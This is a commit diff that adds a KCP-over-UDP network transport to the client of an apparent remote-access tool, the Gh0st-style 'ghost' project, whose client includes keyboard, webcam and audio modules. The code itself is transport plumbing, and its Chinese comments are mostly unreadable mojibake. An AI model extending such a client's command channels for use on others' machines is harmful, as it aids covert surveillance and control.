Feature: Implement KCP protocol - based on UDP

client/ClientDll.cpp

@@ -484,6 +484,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
 	}
 	State& bExit(app.g_bExit);
 	IOCPClient  *ClientObject = NewNetClient(&settings, bExit);
+	if (nullptr == ClientObject) return -1;
 	CKernelManager* Manager = nullptr;
 
 	if (!app.m_bShared) {

client/CursorInfo.h

@@ -65,7 +65,7 @@ public:
 			DestroyCursor(m_CursorHandleArray[i]);
 	}
 
-	int getCurrentCursorIndex()
+	int getCurrentCursorIndex() const
 	{
 		CURSORINFO	ci;
 		ci.cbSize = sizeof(CURSORINFO);

client/IOCPClient.cpp

@@ -317,18 +317,8 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
 		}
 		else if (iRet > 0)
 		{
-			int iReceivedLength = This->ReceiveData(szBuffer, MAX_RECV_BUFFER-1, 0);
-			if (iReceivedLength <= 0)
-			{
-				int a = WSAGetLastError();
-				This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-				m_CompressedBuffer.ClearBuffer();
-				if(This->m_exit_while_disconnect)
-					break;
-			}else{
-				szBuffer[iReceivedLength] = 0;
-				//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD>,ת<><D7AA>OnRead
-				This->OnServerReceiving(&m_CompressedBuffer, szBuffer, iReceivedLength);
+			if (!This->ProcessRecvData(&m_CompressedBuffer, szBuffer, MAX_RECV_BUFFER - 1, 0)) {
+				break;
 			}
 		}
 	}
@@ -341,6 +331,24 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
 	return 0xDEAD;
 }
 
+bool IOCPClient::ProcessRecvData(CBuffer *m_CompressedBuffer, char *szBuffer, int len, int flag) {
+	int iReceivedLength = ReceiveData(szBuffer, len, flag);
+	if (iReceivedLength <= 0)
+	{
+		int a = WSAGetLastError();
+		Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+		m_CompressedBuffer->ClearBuffer();
+		if (m_exit_while_disconnect)
+			return false;
+	}
+	else {
+		szBuffer[iReceivedLength] = 0;
+		//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD>,ת<><D7AA>OnRead
+		OnServerReceiving(m_CompressedBuffer, szBuffer, iReceivedLength);
+	}
+	return true;
+}
+
 // <20><><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD>߼<EFBFBD>:
 // <20><><EFBFBD><EFBFBD> f ִ<><D6B4>ʱ û<>д<EFBFBD><D0B4><EFBFBD>ϵͳ<CFB5>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʳ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0
 // <20><><EFBFBD><EFBFBD> f ִ<>й<EFBFBD><D0B9><EFBFBD><EFBFBD><EFBFBD> <20>׳<EFBFBD><D7B3><EFBFBD><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD>ʣ<EFBFBD><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> __except <20><><EFBFBD>񣬷<EFBFBD><F1A3ACB7><EFBFBD><EFBFBD>쳣<EFBFBD>루<EFBFBD><EBA3A8> 0xC0000005 <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Υ<EFBFBD>棩

client/IOCPClient.h

@@ -157,6 +157,7 @@ protected:
 		// TCP<43>汾<EFBFBD><E6B1BE><EFBFBD><EFBFBD> recv
 		return recv(m_sClientSocket, buffer, bufSize - 1, 0);
 	}
+	virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
 	virtual VOID Disconnect(); // <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> TCP/UDP
 	virtual int SendTo(const char* buf, int len, int flags) {
 		return ::send(m_sClientSocket, buf, len, flags);

client/IOCPKCPClient.cpp

@@ -0,0 +1,118 @@
+#include "IOCPKCPClient.h"
+#include <windows.h>
+#include <chrono>
+#include <iostream>
+
+IOCPKCPClient::IOCPKCPClient(State& bExit, bool exit_while_disconnect)
+	: IOCPUDPClient(bExit, exit_while_disconnect), kcp_(nullptr), running_(false)
+{
+}
+
+IOCPKCPClient::~IOCPKCPClient()
+{
+	running_ = false;
+	if (updateThread_.joinable())
+		updateThread_.join();
+
+	if (kcp_)
+		ikcp_release(kcp_);
+}
+
+BOOL IOCPKCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
+{
+	BOOL ret = IOCPUDPClient::ConnectServer(szServerIP, uPort);
+	if (!ret)
+		return FALSE;
+
+	// <20><>ʼ<EFBFBD><CABC>KCP
+	uint32_t conv = KCP_SESSION_ID; // conv Ҫ<><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƥ<EFBFBD><C6A5>
+	kcp_ = ikcp_create(conv, this);
+	if (!kcp_)
+		return FALSE;
+
+	// <20><><EFBFBD><EFBFBD>KCP<43><50><EFBFBD><EFBFBD>
+	ikcp_nodelay(kcp_, 1, 40, 2, 0);
+	kcp_->rx_minrto = 30;
+	kcp_->snd_wnd = 128;
+	kcp_->rcv_wnd = 128;
+
+	// <20><><EFBFBD>÷<EFBFBD><C3B7>ͻص<CDBB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>KCP<43><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ã<EFBFBD>
+	kcp_->output = IOCPKCPClient::kcpOutput;
+
+	running_ = true;
+	updateThread_ = std::thread(&IOCPKCPClient::KCPUpdateLoop, this);
+	m_bConnected = TRUE;
+
+	return TRUE;
+}
+
+// UDP<44>հ<EFBFBD><D5B0>̵߳<DFB3><CCB5>ã<EFBFBD><C3A3><EFBFBD><EFBFBD>յ<EFBFBD><D5B5><EFBFBD>UDP<44><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD>KCP<43><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٳ<EFBFBD><D9B3>Զ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>Ӧ<EFBFBD>ð<EFBFBD>
+int IOCPKCPClient::ReceiveData(char* buffer, int bufSize, int flags)
+{
+	// <20>ȵ<EFBFBD><C8B5>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>UDPԭʼ<D4AD><CABC><EFBFBD><EFBFBD>
+	char udpBuffer[1500] = { 0 };
+	int recvLen = IOCPUDPClient::ReceiveData(udpBuffer, sizeof(udpBuffer), flags);
+	if (recvLen <= 0)
+		return recvLen;
+
+	// <20><><EFBFBD><EFBFBD>KCPЭ<50><D0AD>ջ
+	int inputRet = ikcp_input(kcp_, udpBuffer, recvLen);
+	if (inputRet < 0)
+		return -1;
+
+	// <20><>KCP<43>ж<EFBFBD>ȡӦ<C8A1>ò<EFBFBD><C3B2><EFBFBD><EFBFBD>ݣ<EFBFBD>д<EFBFBD><D0B4>buffer
+	int kcpRecvLen = ikcp_recv(kcp_, buffer, bufSize);
+	return kcpRecvLen; // >0<><30>ʾ<EFBFBD>յ<EFBFBD><D5B5><EFBFBD><EFBFBD><EFBFBD>Ӧ<EFBFBD><D3A6><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD>0<EFBFBD><30>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+}
+
+bool IOCPKCPClient::ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag) {
+	int iReceivedLength = ReceiveData(szBuffer, len, flag);
+	if (iReceivedLength <= 0)
+	{}
+	else {
+		szBuffer[iReceivedLength] = 0;
+		//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD>,ת<><D7AA>OnRead
+		OnServerReceiving(m_CompressedBuffer, szBuffer, iReceivedLength);
+	}
+	return true;
+}
+
+// <20><><EFBFBD><EFBFBD>Ӧ<EFBFBD>ò<EFBFBD><C3B2><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ã<EFBFBD>ת<EFBFBD><D7AA><EFBFBD><EFBFBD>KCPЭ<50><D0AD>ջ
+int IOCPKCPClient::SendTo(const char* buf, int len, int flags)
+{
+	if (!kcp_)
+		return -1;
+
+	int ret = ikcp_send(kcp_, buf, len);
+	if (ret < 0)
+		return -1;
+
+	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>flush<73><68><EFBFBD>ӿ췢<D3BF><ECB7A2>
+	ikcp_flush(kcp_);
+	return ret;
+}
+
+// KCP<43><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݻص<DDBB><D8B5><EFBFBD><EFBFBD><EFBFBD>KCP<43><50><EFBFBD>ɵ<EFBFBD>UDP<44><50><EFBFBD><EFBFBD><EFBFBD>ͳ<EFBFBD>ȥ
+int IOCPKCPClient::kcpOutput(const char* buf, int len, struct IKCPCB* kcp, void* user)
+{
+	IOCPKCPClient* client = reinterpret_cast<IOCPKCPClient*>(user);
+	if (client->m_sClientSocket == INVALID_SOCKET)
+		return -1;
+
+	int sentLen = sendto(client->m_sClientSocket, buf, len, 0, (sockaddr*)&client->m_ServerAddr, sizeof(client->m_ServerAddr));
+	if (sentLen == len)
+		return 0;
+	else
+		return -1;
+}
+
+// <20><><EFBFBD><EFBFBD><EFBFBD>̶߳<DFB3>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ikcp_update<74><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>KCPЭ<50><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+void IOCPKCPClient::KCPUpdateLoop()
+{
+	while (running_ && !g_bExit)
+	{
+		IUINT32 current = GetTickCount64();
+		ikcp_update(kcp_, current);
+		std::this_thread::sleep_for(std::chrono::milliseconds(20)); // 20ms<6D><73><EFBFBD>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	}
+}

client/IOCPKCPClient.h

@@ -0,0 +1,34 @@
+#pragma once
+#include "IOCPUDPClient.h"
+#include "ikcp.h"
+#include <thread>
+#include <atomic>
+
+class IOCPKCPClient : public IOCPUDPClient
+{
+public:
+	IOCPKCPClient(State& bExit, bool exit_while_disconnect = false);
+	virtual ~IOCPKCPClient();
+
+	virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort) override;
+
+	// <20><>д<EFBFBD><D0B4><EFBFBD>պ<EFBFBD><D5BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>UDP<44><50><EFBFBD>ݸ<EFBFBD>KCP<43><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD>KCP<43><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	virtual int ReceiveData(char* buffer, int bufSize, int flags) override;
+
+	virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag) override;
+
+	// <20><>д<EFBFBD><D0B4><EFBFBD>ͺ<EFBFBD><CDBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ<EFBFBD><D3A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><CDA8>KCP<43><50><EFBFBD><EFBFBD>
+	virtual int SendTo(const char* buf, int len, int flags) override;
+
+private:
+	// KCP<43><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵĻص<C4BB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>UDP<44><50>sendto
+	static int kcpOutput(const char* buf, int len, struct IKCPCB* kcp, void* user);
+
+	// <20><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ikcp_update<74><65><EFBFBD>̺߳<DFB3><CCBA><EFBFBD>
+	void KCPUpdateLoop();
+
+private:
+	ikcpcb* kcp_;
+	std::thread updateThread_;
+	std::atomic<bool> running_;
+};

client/KernelManager.cpp

@@ -14,15 +14,19 @@
 #include "server/2015Remote/pwd_gen.h"
 #include <common/iniFile.h>
 #include "IOCPUDPClient.h"
+#include "IOCPKCPClient.h"
 
 // UDP Э<><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) {
-	if (conn->protoType == PROTO_TCP)
+	if (!conn->IsVerified() || conn->protoType == PROTO_TCP)
 		return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->GetHeaderEncType());
 	if (conn->protoType == PROTO_UDP)
 		return new IOCPUDPClient(bExit, exit_while_disconnect);
 	if (conn->protoType == PROTO_HTTP)
 		return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->GetHeaderEncType());
+	if (conn->protoType == PROTO_KCP) {
+		return new IOCPKCPClient(bExit, exit_while_disconnect);
+	}
 	return NULL;
 }
 
@@ -421,6 +425,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 
 	case COMMAND_WEBCAM:
 		{
+			static bool hasCamera = WebCamIsExist();
+			if (!hasCamera) break;
 			m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
 			m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
 			break;

client/ghost_vs2015.vcxproj

@@ -171,6 +171,7 @@
     </Link>
   </ItemDefinitionGroup>
   <ItemGroup>
+    <ClCompile Include="..\common\ikcp.c" />
     <ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
     <ClCompile Include="Audio.cpp" />
     <ClCompile Include="AudioManager.cpp" />
@@ -180,6 +181,7 @@
     <ClCompile Include="Common.cpp" />
     <ClCompile Include="FileManager.cpp" />
     <ClCompile Include="IOCPClient.cpp" />
+    <ClCompile Include="IOCPKCPClient.cpp" />
     <ClCompile Include="IOCPUDPClient.cpp" />
     <ClCompile Include="KernelManager.cpp" />
     <ClCompile Include="KeyboardManager.cpp" />
@@ -202,6 +204,7 @@
     <ClCompile Include="X264Encoder.cpp" />
   </ItemGroup>
   <ItemGroup>
+    <ClInclude Include="..\common\ikcp.h" />
     <ClInclude Include="..\common\mask.h" />
     <ClInclude Include="..\server\2015Remote\pwd_gen.h" />
     <ClInclude Include="Audio.h" />
@@ -213,6 +216,7 @@
     <ClInclude Include="domain_pool.h" />
     <ClInclude Include="FileManager.h" />
     <ClInclude Include="IOCPClient.h" />
+    <ClInclude Include="IOCPKCPClient.h" />
     <ClInclude Include="IOCPUDPClient.h" />
     <ClInclude Include="KernelManager.h" />
     <ClInclude Include="KeyboardManager.h" />